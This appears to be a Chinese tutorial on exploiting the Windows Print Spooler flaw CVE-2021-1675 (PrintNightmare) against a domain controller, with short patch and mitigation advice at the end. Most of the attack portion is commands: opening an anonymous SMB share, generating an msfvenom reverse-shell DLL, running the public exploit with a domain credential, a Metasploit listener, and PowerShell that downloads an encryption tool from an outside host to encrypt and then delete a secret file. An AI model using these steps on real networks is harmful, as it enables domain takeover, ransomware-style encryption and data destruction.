1、漏洞描述
Windows Print Spooler是Windows的打印机后台处理程序,广泛的应用于各种内网中。近期安全研究人员在Github公布了Windows PrintSpooler远程代码执行漏洞POC。攻击者可以通过该漏洞绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动程序,若攻击者所控制的用户在域中,则攻击者可以连接到DC中的Spooler服务,并利用该漏洞在DC中安装恶意的驱动程序,完整的控制整个域环境。
Github公布的地址:https://github.com/afwu/PrintNightmare
2、漏洞准备
这里我们使用python版本的poc
地址:https://github.com/cube0x0/CVE-2021-1675
环境:win10、win server 2016(域控)
首先创建一个可以允许匿名访问的smb
创建时使用powershell
- mkdir C:\share
- icacls C:\share\ /T /grant Anonymous` logon:r
- icacls C:\share\ /T /grant Everyone:r
- New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
- REG ADD"HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existingNullSessionPipes
- REG ADD"HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
- REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
- REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
搭建域控:
https://jingyan.baidu.com/article/48206aeab66f75216ad6b3b6.html
加入域:(dns服务器必须是域控服务器地址)
https://jingyan.baidu.com/article/4d58d54112adc29dd5e9c053.html
利用前提:
拥有域用户:密码
一台域控
一台攻击机
步骤
- 攻击机搭建smb共享服务器(vim /etc/samba/smb.conf)sudo service smbd start
[global]
workgroup = workgroup
server string = test
netbios name = MZ
security = user
map to guest = Bad User
smb ports = 445
log file = /var/log/samba/log.%m
max log size = 5
[smb]
comment = Samba
browseable = yes
writeable = yes
public = yes
path = /tmp/
read only = no
guest ok = yes
- 生成恶意dll进行远控
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.111.131 lport=4444 -f dll -o reverse.dll
使用脚本进行加载恶意dll
python3 CVE-2021-1675.py test:30wish@2020.@192.168.111.135 '\\192.168.111.131\smb\reverse.dll'
侦听4444端口,反弹shell控制成功
use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set lhost 192.168.111.131
run
找到核心文件路径,然后使用powershell进行远程下载加密工具
$client = new-object System.Net.WebClient
$client.DownloadFile('http://192.168.29.107/jiami.exe','C:\data\jiami.exe')
最后成功对域服务器的密件进行加密
使用powershell进行删除文件
del 关于做好xxx工作的通知【密件】.pdf
修复建议:
- 若相关用户暂时无法进行补丁更新,可通过禁用Print Spooler服务来进行缓解:
一:在服务应用(services.msc)中找到Print Spooler服务。 - 目前微软官方已针对支持的系统版本发布了修复该漏洞的安全补丁,强烈建议受影响用户尽快安装补丁进行防护,官方下载链接:
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675
注:由于网络问题、计算机环境问题等原因,Windows Update的补丁更新可能出现失败。用户在安装补丁后,应及时检查补丁是否成功更新。
右键点击Windows图标,选择“设置(N)”,选择“更新和安全”-“Windows更新”,查看该页面上的提示信息,也可点击“查看更新历史记录”查看历史更新情况。
针对未成功安装的更新,可点击更新名称跳转到微软官方下载页面,建议用户点击该页面上的链接,转到“Microsoft更新目录”网站下载独立程序包并安装。